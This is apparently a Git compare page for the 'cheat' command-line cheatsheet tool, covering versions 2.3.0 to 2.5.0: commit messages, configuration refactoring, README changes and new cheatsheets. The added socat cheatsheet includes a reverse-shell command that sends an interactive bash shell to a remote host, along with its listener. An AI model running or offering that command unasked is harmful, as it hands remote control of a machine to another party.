Compare commits

...

83 Commits
2.3.0 ... 2.5.0

Author SHA1 Message Date
074dba6e99 v2.5.0
`minor` version bump to `2.5.0`.
2019-02-04 12:04:52 -05:00
9d1dd15387 Merge pull request #427 from cheat/issue-349
Issue #349
2019-02-04 11:57:35 -05:00
caf355f142 Issue #349
Implements support for terminals with light backgrounds via a new
`CHEAT_COLORSCHEME` envvar.
2019-02-04 11:56:00 -05:00
2728ce4757 Merge pull request #426 from cheat/vagrant
Updated Vagrantfile
2019-02-04 11:54:06 -05:00
6ae76799f7 Updated Vagrantfile
Modified `Vagrantfile` to build an Ubuntu environment rather than
Alpine, after the latter exhibited weird behavior.
2019-02-04 11:50:25 -05:00
0b523a769f Merge pull request #425 from cheat/vagrant
Added Vagrantfile
2019-02-04 10:41:26 -05:00
f29cf03b68 Added Vagrantfile
Added a `Vagrantfile` which builds an alpine-based environment that can
be used for development and testing.
2019-02-04 10:40:10 -05:00
4347114e19 Merge pull request #424 from JensKorte/patch-1
link changed, added details
2019-02-04 10:05:36 -05:00
edc67e7819 Updated links to README
Re-pathed links from `chrisallenlane/cheat` to `cheat/cheat` as
appropriate, following the move.
2019-02-04 10:03:19 -05:00
aa33a36491 Merge pull request #422 from cheat/refactor
Refactor
2019-02-04 09:58:24 -05:00
8aac10dd8b link changed, added details
The table isn't available any more in the recent wiki page. The new link uses the old version of wikipedia. In my browser I have to "unhide" the box.
2019-02-03 20:56:57 +01:00
9931b78c5f Lint
- Added instruction to lint `setup.py` to `ci/lint.sh`
- Updated `setup.py` per linter suggestions
2019-02-01 15:24:04 -05:00
a37577ee85 Trivial: docstrings
Updated some docstring comments.
2019-02-01 15:18:23 -05:00
3ad923eff0 Refactored (11)
Renamed `CHEAT_DEFAULT_DIR` to `CHEAT_USER_DIR` because the latter more
accurately describes the purpose of the variable.
2019-02-01 15:10:03 -05:00
ba47dc2cbc Refactored (10)
- Added `ci/lint.sh`, which uses `flake8` to lint the relevant files
- Made changes to appease the linter.
- Bugfix in `cheat/configuration` (missing dependency)
2019-02-01 14:44:48 -05:00
df21731c02 Trivial Python style corrections 2019-02-01 11:43:38 -05:00
a657699a24 Refactored (9)
Moved some functionality into the `Util` class.
2019-02-01 11:43:11 -05:00
5793c1845a Refactored (8)
Refactored `Sheet` class:

- Removed unnecessary indirection and extraneous methods
- Renamed some methods to conform to Pythonic conventions
- Renamed the `create_or_edit` method to `edit` to be consistent with
  subcommand name (`--edit`)
2019-02-01 11:23:38 -05:00
e2b5728283 Refactored (7)
Refactored for general code-clarity, with particular focus on removing
needless abstraction within `Sheet` and `Sheets` classes.
2019-01-31 20:03:56 -05:00
d61e4e7c34 Refactored (6)
Standardized (mostly) how the various classes are initialized.
2019-01-31 18:08:19 -05:00
145a81dcd6 Var renames
Replaced more references to deprecated envvar names to their newer
counterparts.
2019-01-31 17:55:26 -05:00
7c4fc54681 Refactored (5)
- Extracted `Colorize` class out of `Util` class. (The latter now only
  contains static methods.)
- Renamed methods in `Colorize` class for improved clarity.
- Refactored as necessary to accommodate the changes above.
2019-01-31 17:43:21 -05:00
878d7e7e1b Refactored (4)
Improved handling of edge-cases in `configuration.py`.
2019-01-31 17:40:53 -05:00
928637c9db Refactored (3)
Removed unnecessary `import` calls.
2019-01-31 17:14:21 -05:00
ab87bb11c4 Refactored (2)
Created an `Editor` class out methods in the `Util` class to enhance
code clarity.
2019-01-31 17:03:21 -05:00
8f757d7735 Refactored (1)
Performed a general refactoring, focusing on the following:

- Removing layers of abstraction in config handling
- Stubbing out proper config validator
- Updating envvar names located throughout the project
2019-01-31 16:45:28 -05:00
c922ef4c8d Version bump: 2.4.2
Contains `termcolor` dependency fix.
2019-01-29 11:45:43 -05:00
574a7ec3c9 Merge pull request #421 from chrisallenlane/termcolor
Added termcolor dependency to setup.py
2019-01-29 11:44:22 -05:00
5ae49228b7 Added termcolor dependency to setup.py
Added a missing `termcolor` dependency to `install_requires` in
`setup.py`. `termcolors` was introduced as an optional dependency when
the `CHEAT_HIGHLIGHT` envvar was implemented.
2019-01-29 11:42:14 -05:00
09acdf1a69 README edits
Updated the names of the (preferred) cheat-related environment
variables, which have been changed in recent versions.
2019-01-29 11:31:03 -05:00
9ea60d12ff Version-bump to 2.4.1
- Includes various bugfixes regarding UTF-8 encoding
- Adds new cheatsheets
2019-01-29 10:58:57 -05:00
f7d747e101 Merge pull request #417 from butzel-net/master
suggestion for socat
2019-01-29 10:22:44 -05:00
3b207b4d51 Merge branch 'dev' 2019-01-29 10:19:48 -05:00
5e1d3abce8 Merge pull request #416 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-29 10:18:55 -05:00
ad25e16dc6 Merge pull request #415 from chrisallenlane/issue-372
Addressing issue #372
2019-01-29 10:15:55 -05:00
92c07c0137 Merge pull request #419 from chrisallenlane/issue-414-build-opts
Issue #414 - snap package compatibility
2019-01-27 14:50:37 -05:00
7e35263e90 Merge pull request #418 from chrisallenlane/issue-372
Addressing issue #372
2019-01-27 14:45:41 -05:00
1b6b5b79b7 Version bump: 2.4.0
Preparing a new `minor` release.
2019-01-27 14:36:57 -05:00
b377984b59 suggestion for socat
butzel's suggestions for a socat cheatsheet
2019-01-25 12:46:01 +01:00
e319332138 Issue #414 - snap package compatibility
PR #391 changed the locaton into which system-wide cheatsheets are
installed to `/usr/share/cheat`, in order to comply with FHS. However,
this is causing conflicts with the `snap` packaging process.

This commit removes hard-coded references to `/usr/share/cheat` (outside
of `config/cheat`), and instead reads the cheat path via the
`CHEAT_PATH` config value (which may be set either in `cheat/config`, or
exported as an environment variable).

Lastly, this commit makes `setup.py` "aware of" the `CHEAT_PATH` env
var, allowing us to specify to where sytem-wide cheatsheets should be
installed during the `snap` build.
2019-01-21 12:58:03 -05:00
13c0ea7525 Addressing issue #372
Previous pull-requests #406 and #413 attempted to resolve #372. They
were, however, never merged in.

Given that #391 was just merged (which rewrites a significant amount of
prior code), I here took what we learned from #406 and #413 and
re-implemented it. This approach will be less error-prone than
attempting to rebase either of the former on the changes introduced in
 #391.
2019-01-18 14:50:00 -05:00
87448c49fa Merge branch 'TomasKorbar-changes' 2019-01-18 14:28:06 -05:00
80b8cfc06b Add new env variables but hold compatibility with old ones
Legacy environmental variables like CHEATCOLORS are now higher in
configuration hiearchy than new environmental variables in
configuration files
2019-01-18 18:03:15 +01:00
8a8f30679d Fix problems with CHEATCOLORS behaviour 2019-01-17 17:10:01 +01:00
4d19505b79 Conform code to pep8 2019-01-15 19:38:24 +01:00
a2e028fd19 Move validation of CHEAT_HIGHLIGHT value to Configuration class
Method _check_configuration should be used for validating all bad
values from now on
2019-01-15 19:21:33 +01:00
5eec6bf040 Improve handling of settings
Constructors of classes which need direct access to configuration
now take Config class instance as parameter which will give them
better maintainability in the future

CHEAT_HIGHLIGHT has been added to Configuration class
2019-01-15 19:13:30 +01:00
3a4c2a887d Add ConfigurationTestCase
- tests prove descending hiearchy of config system
- env vars, local config file, global config file
2019-01-15 17:09:39 +01:00
879a58b721 Read env vars for global and local config path
- allows to change these paths for testing purposes and also
gives user option to change his config paths
2019-01-15 17:09:39 +01:00
7814de96d2 Add classes for better readability 2019-01-15 17:09:39 +01:00
a651426075 Add reading settings from configuration file 2019-01-15 17:09:35 +01:00
c4c935a6a5 Change default location of cheatsheets 2019-01-15 16:48:07 +01:00
df86142b8e Merge pull request #411 from chrisallenlane/snap-cheatsheet
Created a `snap` cheatsheet
2019-01-11 17:19:08 -05:00
60b05c8781 Created a snap cheatsheet 2019-01-11 17:18:02 -05:00
22b64d2d08 Merge branch 'master' of https://github.com/liuyang1/cheat into liuyang1-master
Resolving merge-conflicts.
2019-01-11 17:00:39 -05:00
1224908445 README edits
Updated the README to mention the new `CHEAT_HIGHLIGHT` environment
variable.
2019-01-11 16:36:17 -05:00
28a2902e20 Implemented validation on CHEAT_HIGHLIGHT
Implemnted an assertion that `CHEAT_HIGHLIGHT` (if set) contains a value
that is acceptible to `termcolors`. This happens only once, upon the
invokation of `__main__`. If the assertion fails, `cheat` terminates
with an exit code of `1`.
2019-01-11 16:26:57 -05:00
730c488854 Introduced CHEAT_HIGHLIGHT
Introduced CHEAT_HIGHLIGHT environment variable to de-couple search-term
highlighting from syntax highlighting.
2019-01-11 16:13:38 -05:00
ba9051e3cd highlight bug-fix
Fixed a bug in `cheat/utils.py` that would cause `highlight` to return
the wrong value when `CHEATCOLORS` was not set.
2019-01-11 15:58:21 -05:00
7c7278ac8b Util logic simplification
- Simplified the logic regarding checking the state of `CHEATCOLORS` in
  `cheat/utils.py`

- Improved the commenting within the same
2019-01-11 15:54:20 -05:00
e1fdca231e Merged #353 with changes
PR #353 implemented highlighting on search terms within search results.
This PR:

- Merges the above
- Makes a few modifications upon the implementation

Specifically, the new implementation no longer relies on hard-coded
escape-sequences. Instead, a new `highlight` function has been created,
which in turn attempts to defer to the `termcolors` library to colorize
the necessary text.
2019-01-11 15:46:54 -05:00
6b796adaf7 README edit
Edited the addition regarding Pygments.
2019-01-11 15:13:41 -05:00
95843e4674 Updating dependencies to highlighting 2019-01-11 15:10:39 -05:00
2b58300d84 Merge pull request #404 from gorshkov/master
Fix url in curl cheatsheet
2019-01-11 14:20:18 -05:00
bf1be86fb9 Merge pull request #402 from FlorianKempenich/master
Add cheatsheet for `scd`
2019-01-11 14:19:22 -05:00
35c4a8d639 Merge pull request #403 from sundar-raman/master
Disable colorized output when CHEATCOLORS is not "true", or not set
2019-01-11 14:13:21 -05:00
6910adae90 Merge branch 'master' of github.com:chrisallenlane/cheat 2019-01-11 14:05:55 -05:00
b47b4bc1d1 Modified .gitignore
Added `.env` to the list of ignored files.
2019-01-11 14:05:38 -05:00
ea7e71b002 Merge pull request #407 from idarlund/patch-2
Update ssh
2019-01-11 14:04:11 -05:00
d576eef13b Merge pull request #408 from idarlund/patch-3
Update scp
2019-01-11 14:03:31 -05:00
bec516b30a Merge pull request #409 from hutchison/master
Fixed a typo.
2019-01-11 14:02:39 -05:00
f0b3f8037b Fixed a typo. 2019-01-09 15:47:49 +01:00
3938032595 Update scp
scp over socks
2019-01-08 08:24:16 +01:00
f35cfa084e Update ssh
added ssh over socks tunnel
2019-01-08 08:19:09 +01:00
cdb22f310d Fix url in curl cheatsheet 2018-12-19 21:11:54 +07:00
6d1eff16a1 Disable colorized output when CHEATCOLORS is not "true", or not set 2018-11-11 13:04:51 +08:00
9241de04d6 Update formatting to adhere to the guideline. 2018-10-25 11:37:39 +01:00
8ac1851a69 Add cheatsheet for scd
`scd` is a fantastic `oh-my-zsh` plugin to quickly jump between directories.
See here: https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins/scd
2018-10-25 11:34:25 +01:00
cccf37c284 Bumped the patch version number 2018-10-16 10:45:09 -04:00
15f70c2cc3 Merge pull request #401 from tculp/case-insensitive-search
Added a .lower() call to line when searching
2018-10-16 10:43:30 -04:00
cebe3de389 Update sheets.py
Added a missing .lower() to the line
2018-10-15 12:21:52 -04:00
c0fe871b33 fix except case
- when redirect stdout to pipe but not tty, it throw exception.
- when have no content, it throw exception.
- remove reductant newline at end of file
2018-06-13 18:58:37 +08:00
761bf2eb2f hightlight the search keywords 2017-10-12 09:25:20 +08:00
24 changed files with 747 additions and 250 deletions

3
.gitignore vendored
View File

@ -1,4 +1,7 @@
*.log
*.pyc
.env
.vagrant
MANIFEST
build
cheat.egg-info

View File

@ -83,37 +83,47 @@ with your [dotfiles][].
Configuring
-----------
### Setting a DEFAULT_CHEAT_DIR ###
### Setting a CHEAT_USER_DIR ###
Personal cheatsheets are saved in the `~/.cheat` directory by default, but you
can specify a different default by exporting a `DEFAULT_CHEAT_DIR` environment
can specify a different default by exporting a `CHEAT_USER_DIR` environment
variable:
```sh
export DEFAULT_CHEAT_DIR='/path/to/my/cheats'
export CHEAT_USER_DIR='/path/to/my/cheats'
```
### Setting a CHEATPATH ###
### Setting a CHEAT_PATH ###
You can additionally instruct `cheat` to look for cheatsheets in other
directories by exporting a `CHEATPATH` environment variable:
directories by exporting a `CHEAT_PATH` environment variable:
```sh
export CHEATPATH='/path/to/my/cheats'
export CHEAT_PATH='/path/to/my/cheats'
```
You may, of course, append multiple directories to your `CHEATPATH`:
You may, of course, append multiple directories to your `CHEAT_PATH`:
```sh
export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats"
```
You may view which directories are on your `CHEATPATH` with `cheat -d`.
You may view which directories are on your `CHEAT_PATH` with `cheat -d`.
### Enabling Syntax Highlighting ###
`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable
syntax highlighting, export a `CHEATCOLORS` environment variable:
`cheat` can optionally apply syntax highlighting to your cheatsheets. To
enable syntax highlighting, export a `CHEAT_COLORS` environment variable:
```sh
export CHEATCOLORS=true
export CHEAT_COLORS=true
```
Note that [pygments][] must be installed on your system for this to work.
`cheat` ships with both light and dark colorschemes to support terminals with
different background colors. A colorscheme may be selected via the
`CHEAT_COLORSCHEME` envvar:
```sh
export CHEAT_COLORSCHEME=light # must be 'light' (default) or 'dark'
```
#### Specifying a Syntax Highlighter ####
@ -134,6 +144,23 @@ WHERE id = 100
If no syntax highlighter is specified, the `bash` highlighter will be used by
default.
### Enabling Search Match Highlighting ###
`cheat` can optionally be configured to highlight search term matches in search
results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value
of one of the following:
- blue
- cyan
- green
- grey
- magenta
- red
- white
- yellow
Note that the `termcolor` module must be installed on your system for this to
work.
See Also:
---------
@ -141,8 +168,9 @@ See Also:
- [Related Projects][related-projects]
[autocompletion]: https://github.com/chrisallenlane/cheat/wiki/Enabling-Command-line-Autocompletion
[autocompletion]: https://github.com/cheat/cheat/wiki/Enabling-Command-line-Autocompletion
[dotfiles]: http://dotfiles.github.io/
[gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/
[installing]: https://github.com/chrisallenlane/cheat/wiki/Installing
[related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects
[installing]: https://github.com/cheat/cheat/wiki/Installing
[pygments]: http://pygments.org/
[related-projects]: https://github.com/cheat/cheat/wiki/Related-Projects

17
Vagrantfile vendored Normal file
View File

@ -0,0 +1,17 @@
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/bionic64"
config.vm.provider "virtualbox" do |vb|
vb.memory = "512"
end
config.vm.provision "shell", inline: <<-SHELL
sudo apt-get update
sudo apt-get install -y python-pip
su vagrant && sudo -H pip install docopt pygments termcolor flake8
cd /vagrant && sudo python setup.py install
SHELL
end

View File

@ -13,7 +13,7 @@ Usage:
cheat -v
Options:
-d --directories List directories on CHEATPATH
-d --directories List directories on $CHEAT_PATH
-e --edit Edit cheatsheet
-l --list List cheatsheets
-s --search Search cheatsheets for <keyword>
@ -35,31 +35,71 @@ Examples:
"""
# require the dependencies
from cheat import sheets, sheet
from cheat.utils import colorize
from __future__ import print_function
from cheat.colorize import Colorize
from cheat.configuration import Configuration
from cheat.sheet import Sheet
from cheat.sheets import Sheets
from cheat.utils import Utils
from docopt import docopt
import os
if __name__ == '__main__':
# parse the command-line options
options = docopt(__doc__, version='cheat 2.3.0')
options = docopt(__doc__, version='cheat 2.5.0')
# initialize and validate configs
config = Configuration()
config.validate()
# create the CHEAT_USER_DIR if it does not exist
if not os.path.isdir(config.cheat_user_dir):
try:
os.mkdir(config.cheat_user_dir)
except OSError:
Utils.die("%s %s %s" % (
'Could not create CHEAT_USER_DIR (',
config.cheat_user_dir,
')')
)
# assert that the CHEAT_USER_DIR is readable and writable
if not os.access(config.cheat_user_dir, os.R_OK):
Utils.die("%s %s %s" % (
'The CHEAT_USER_DIR (',
config.cheat_user_dir,
') is not readable')
)
if not os.access(config.cheat_user_dir, os.W_OK):
Utils.die("%s %s %s" % (
'The CHEAT_USER_DIR (',
config.cheat_user_dir,
') is not writeable')
)
# bootsrap
sheets = Sheets(config)
sheet = Sheet(config, sheets)
colorize = Colorize(config)
# list directories
if options['--directories']:
print("\n".join(sheets.paths()))
print("\n".join(sheets.directories()))
# list cheatsheets
elif options['--list']:
print(sheets.list())
print(sheets.list(), end="")
# create/edit cheatsheet
elif options['--edit']:
sheet.create_or_edit(options['<cheatsheet>'])
sheet.edit(options['<cheatsheet>'])
# search among the cheatsheets
elif options['--search']:
print(colorize(sheets.search(options['<keyword>'])))
print(colorize.syntax(sheets.search(options['<keyword>'])), end="")
# print the cheatsheet
else:
print(colorize(sheet.read(options['<cheatsheet>'])))
print(colorize.syntax(sheet.read(options['<cheatsheet>'])), end="")

View File

@ -1,3 +0,0 @@
from . import sheet
from . import sheets
from . import utils

View File

@ -1,4 +0,0 @@
import os
def sheets_dir():
return os.path.split(__file__)

View File

@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png
for file in `ls original/image/path/`;
do new_path=${file%.*};
new_file=`basename $new_path`;
convert $file -resize 150 conerted/image/path/$new_file.png;
convert $file -resize 150 converted/image/path/$new_file.png;
done

View File

@ -29,7 +29,7 @@ curl -C - -o partial_file.zip http://example.com/file.zip
curl -I http://example.com
# Fetch your external IP and network info as JSON
curl http://ifconfig.me/all/json
curl http://ifconfig.me/all.json
# Limit the rate of a download
curl --limit-rate 1000B -O http://path.to.the/file

20
cheat/cheatsheets/scd Normal file
View File

@ -0,0 +1,20 @@
# To index recursively some paths for the very first run:
scd -ar ~/Documents/
# To change to a directory path matching "doc":
scd doc
# To change to a path matching all of "a", "b" and "c":
scd a b c
# To change to a directory path that ends with "ts":
scd "ts$"
# To show selection menu and ranking of 20 most likely directories:
scd -v
# To alias current directory as "xray":
scd --alias=xray
# To jump to a previously defined aliased directory:
scd xray

View File

@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir
# To copy a file from a remote server to your local machine:
scp user@example.com:remote/dir/foo.txt local/dir
# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup):
scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/

98
cheat/cheatsheets/snap Normal file
View File

@ -0,0 +1,98 @@
# To find the `foo` snap:
snap find foo
# To view detailed information about snap `foo`:
snap info foo
# To view all private snaps (must be logged in):
snap find --private
# To install the `foo` snap:
sudo snap install foo
# To install the `foo` snap from the "beta" channel:
sudo snap install foo --channel=beta
# To view installed snaps:
snap list
# To list all revisions of installed snaps:
snap list --all
# To (manually) update all snaps:
sudo snap refresh
# To (manually) update the `foo` snap:
sudo snap refresh foo
# To update the `foo` snap to the "beta" channel:
sudo snap refresh foo --channel=beta
# To revert the `foo` snap to a prior version:
sudo snap revert foo
# To revert the `foo` snap to revision 5:
snap revert foo --revision 5
# To remove the `foo` snap:
sudo snap remove foo
# To log in to snap (must first create account online):
sudo snap login
# To log out of snap:
snap logout
# To view a transaction log summary:
snap changes
# To view details of item 123 in the transaction log:
snap change 123
# To watch transaction 123:
snap watch 123
# To abort transaction 123:
snap abort 123
# To download the `foo` snap (and its assertions) *without* installing it:
snap download foo
# To install the locally-downloaded `foo` snap with assertions:
snap ack foo.assert
snap install foo.snap
# To install the locally-downloaded `foo` snap without assertions:
# NB: this is dangerous, because the integrity of the snap will not be
# verified. You should only do this to test a snap that you are currently
# developing.
snap install --dangerous foo.snap
# To install snap `foo` in "dev mode":
# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
snap install --devmode foo
# To install snap `foo` in "classic mode":
# NB: this is likewise dangerous
snap install --classic foo
# To view available snap interfaces:
snap interfaces
# To connect the `foo:camera` plug to the ubuntu core slot:
snap connect foo:camera :camera
# To disconnect the `foo:camera` plug from the ubuntu core slot:
snap disconnect foo:camera
# To disable the `foo` snap
snap disable foo
# To enable the `foo` snap
snap enable foo
# To set snap `foo`'s `bar` property to 10:
snap set foo bar=10
# To read snap `foo`'s current `bar` property:
snap get foo bar

37
cheat/cheatsheets/socat Normal file
View File

@ -0,0 +1,37 @@
# socat connect to http-server (port 80 on 'butzel.info')
socat TCP4:butzel.info:80 -
# connect to https-server (port 443 on 'butzel.info' with tls)
socat openssl:butzel.info:443 -
# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
socat -x tcp-listen:3180,fork -
# practical examples:
# complete real working http-example:
# (sleep is necessary to prevent socat closing socket before data received)
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
| socat tcp4:butzel.info:80 -
# http to httpS 'Proxy' (for an webserver without TLS-Support)
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
# port forwarding (e.g. own port 3180 to port 22(ssh) on target
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
# TOR-forwarding (needs tor-daemon on port 9050 running)
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
# udp to tcp
socat -u udp-recvfrom:1234,fork tcp:localhost:4321
# reverse shell:
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
# listener for above reverse shell (on remote.butzel.info):
socat file:`tty`,raw,echo=0 tcp-listen:3180
# or: nc -lp 3180

View File

@ -23,6 +23,9 @@ ssh -X -t user@example.com 'chromium-browser'
# To create a SOCKS proxy on localhost and port 9999
ssh -D 9999 user@example.com
# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999
ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com
# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish
ssh user@example.com -C -c blowfish -X

View File

@ -19,5 +19,5 @@ youtube-dl -s example.com/watch?v=id
# To download audio in mp3 format with best quality available
youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id
# For all video formats see
# http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs
# For all video formats see link below (unfold "Comparison of YouTube media encoding options")
# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats

65
cheat/colorize.py Normal file
View File

@ -0,0 +1,65 @@
from __future__ import print_function
import sys
class Colorize:
def __init__(self, config):
self._config = config
def search(self, needle, haystack):
""" Colorizes search results matched within a line """
# if a highlight color is not configured, exit early
if not self._config.cheat_highlight:
return haystack
# otherwise, attempt to import the termcolor library
try:
from termcolor import colored
# if the import fails, return uncolored text
except ImportError:
return haystack
# if the import succeeds, colorize the needle in haystack
return haystack.replace(needle,
colored(needle, self._config.cheat_highlight))
def syntax(self, sheet_content):
""" Applies syntax highlighting """
# only colorize if cheat_colors is true, and stdout is a tty
if self._config.cheat_colors is False or not sys.stdout.isatty():
return sheet_content
# don't attempt to colorize an empty cheatsheet
if not sheet_content.strip():
return ""
# otherwise, attempt to import the pygments library
try:
from pygments import highlight
from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter
# if the import fails, return uncolored text
except ImportError:
return sheet_content
# otherwise, attempt to colorize
first_line = sheet_content.splitlines()[0]
lexer = get_lexer_by_name('bash')
# apply syntax-highlighting if the first line is a code-fence
if first_line.startswith('```'):
sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try:
lexer = get_lexer_by_name(first_line[3:])
except Exception:
pass
return highlight(
sheet_content,
lexer,
TerminalFormatter(bg=self._config.cheat_colorscheme))

120
cheat/configuration.py Normal file
View File

@ -0,0 +1,120 @@
from cheat.utils import Utils
import json
import os
class Configuration:
def __init__(self):
# compute the location of the config files
config_file_path_global = self._select([
os.environ.get('CHEAT_GLOBAL_CONF_PATH'),
'/etc/cheat',
])
config_file_path_local = self._select([
os.environ.get('CHEAT_LOCAL_CONF_PATH'),
os.path.expanduser('~/.config/cheat/cheat'),
])
# attempt to read the global config file
config = {}
try:
config.update(self._read_config_file(config_file_path_global))
except Exception as e:
Utils.warn('Error while parsing global configuration: '
+ e.message)
# attempt to read the local config file
try:
config.update(self._read_config_file(config_file_path_local))
except Exception as e:
Utils.warn('Error while parsing local configuration: ' + e.message)
# With config files read, now begin to apply envvar overrides and
# default values
# self.cheat_colors
self.cheat_colors = self._select([
Utils.boolify(os.environ.get('CHEAT_COLORS')),
Utils.boolify(os.environ.get('CHEATCOLORS')),
Utils.boolify(config.get('CHEAT_COLORS')),
True,
])
# self.cheat_colorscheme
self.cheat_colorscheme = self._select([
os.environ.get('CHEAT_COLORSCHEME'),
config.get('CHEAT_COLORSCHEME'),
'light',
]).strip().lower()
# self.cheat_user_dir
self.cheat_user_dir = self._select([
os.environ.get('CHEAT_USER_DIR'),
os.environ.get('CHEAT_DEFAULT_DIR'),
os.environ.get('DEFAULT_CHEAT_DIR'),
# TODO: XDG home?
os.path.expanduser(
os.path.expandvars(os.path.join('~', '.cheat'))
),
])
# self.cheat_editor
self.cheat_editor = self._select([
os.environ.get('CHEAT_EDITOR'),
os.environ.get('EDITOR'),
os.environ.get('VISUAL'),
config.get('CHEAT_EDITOR'),
'vi',
])
# self.cheat_highlight
self.cheat_highlight = self._select([
os.environ.get('CHEAT_HIGHLIGHT'),
config.get('CHEAT_HIGHLIGHT'),
False,
])
if isinstance(self.cheat_highlight, str):
Utils.boolify(self.cheat_highlight)
# self.cheat_path
self.cheat_path = self._select([
os.environ.get('CHEAT_PATH'),
os.environ.get('CHEATPATH'),
config.get('CHEAT_PATH'),
'/usr/share/cheat',
])
def _read_config_file(self, path):
""" Reads configuration file and returns list of set variables """
config = {}
if os.path.isfile(path):
with open(path) as config_file:
config.update(json.load(config_file))
return config
def _select(self, values):
for v in values:
if v is not None:
return v
def validate(self):
""" Validates configuration parameters """
# assert that cheat_highlight contains a valid value
highlights = [
'grey', 'red', 'green', 'yellow',
'blue', 'magenta', 'cyan', 'white',
False
]
if self.cheat_highlight not in highlights:
Utils.die("%s %s" %
('CHEAT_HIGHLIGHT must be one of:', highlights))
# assert that the color scheme is valid
colorschemes = ['light', 'dark']
if self.cheat_colorscheme not in colorschemes:
Utils.die("%s %s" %
('CHEAT_COLORSCHEME must be one of:', colorschemes))
return True

29
cheat/editor.py Normal file
View File

@ -0,0 +1,29 @@
from __future__ import print_function
from cheat.utils import Utils
import subprocess
class Editor:
def __init__(self, config):
self._config = config
def editor(self):
""" Determines the user's preferred editor """
# assert that the editor is set
if not self._config.cheat_editor:
Utils.die(
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
'variable or setting in order to create/edit a cheatsheet.'
)
return self._config.cheat_editor
def open(self, filepath):
""" Open `filepath` using the EDITOR specified by the env variables """
editor_cmd = self.editor().split()
try:
subprocess.call(editor_cmd + [filepath])
except OSError:
Utils.die('Could not launch ' + self.editor())

View File

@ -1,76 +1,64 @@
from cheat.editor import Editor
from cheat.utils import Utils
import io
import os
import shutil
from cheat import sheets
from cheat.utils import die, open_with_editor
def copy(current_sheet_path, new_sheet_path):
""" Copies a sheet to a new path """
class Sheet:
# attempt to copy the sheet to DEFAULT_CHEAT_DIR
try:
shutil.copy(current_sheet_path, new_sheet_path)
def __init__(self, config, sheets):
self._config = config
self._editor = Editor(config)
self._sheets = sheets
# fail gracefully if the cheatsheet cannot be copied. This can happen if
# DEFAULT_CHEAT_DIR does not exist
except IOError:
die('Could not copy cheatsheet for editing.')
def _exists(self, sheet):
""" Predicate that returns true if the sheet exists """
return (sheet in self._sheets.get() and
os.access(self._path(sheet), os.R_OK))
def _exists_in_default_path(self, sheet):
""" Predicate that returns true if the sheet exists in default_path"""
default_path = os.path.join(self._config.cheat_user_dir, sheet)
return (sheet in self._sheets.get() and
os.access(default_path, os.R_OK))
def create_or_edit(sheet):
""" Creates or edits a cheatsheet """
def _path(self, sheet):
""" Returns a sheet's filesystem path """
return self._sheets.get()[sheet]
# if the cheatsheet does not exist
if not exists(sheet):
create(sheet)
def edit(self, sheet):
""" Creates or edits a cheatsheet """
# if the cheatsheet exists but not in the default_path, copy it to the
# default path before editing
elif exists(sheet) and not exists_in_default_path(sheet):
copy(path(sheet), os.path.join(sheets.default_path(), sheet))
edit(sheet)
# if the cheatsheet does not exist
if not self._exists(sheet):
new_path = os.path.join(self._config.cheat_user_dir, sheet)
self._editor.open(new_path)
# if it exists and is in the default path, then just open it
else:
edit(sheet)
# if the cheatsheet exists but not in the default_path, copy it to the
# default path before editing
elif self._exists(sheet) and not self._exists_in_default_path(sheet):
try:
shutil.copy(
self._path(sheet),
os.path.join(self._config.cheat_user_dir, sheet)
)
# fail gracefully if the cheatsheet cannot be copied. This can
# happen if CHEAT_USER_DIR does not exist
except IOError:
Utils.die('Could not copy cheatsheet for editing.')
def create(sheet):
""" Creates a cheatsheet """
new_sheet_path = os.path.join(sheets.default_path(), sheet)
open_with_editor(new_sheet_path)
self._editor.open(self._path(sheet))
# if it exists and is in the default path, then just open it
else:
self._editor.open(self._path(sheet))
def edit(sheet):
""" Opens a cheatsheet for editing """
open_with_editor(path(sheet))
def read(self, sheet):
""" Returns the contents of the cheatsheet as a String """
if not self._exists(sheet):
Utils.die('No cheatsheet found for ' + sheet)
def exists(sheet):
""" Predicate that returns true if the sheet exists """
return sheet in sheets.get() and os.access(path(sheet), os.R_OK)
def exists_in_default_path(sheet):
""" Predicate that returns true if the sheet exists in default_path"""
default_path_sheet = os.path.join(sheets.default_path(), sheet)
return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK)
def is_writable(sheet):
""" Predicate that returns true if the sheet is writeable """
return sheet in sheets.get() and os.access(path(sheet), os.W_OK)
def path(sheet):
""" Returns a sheet's filesystem path """
return sheets.get()[sheet]
def read(sheet):
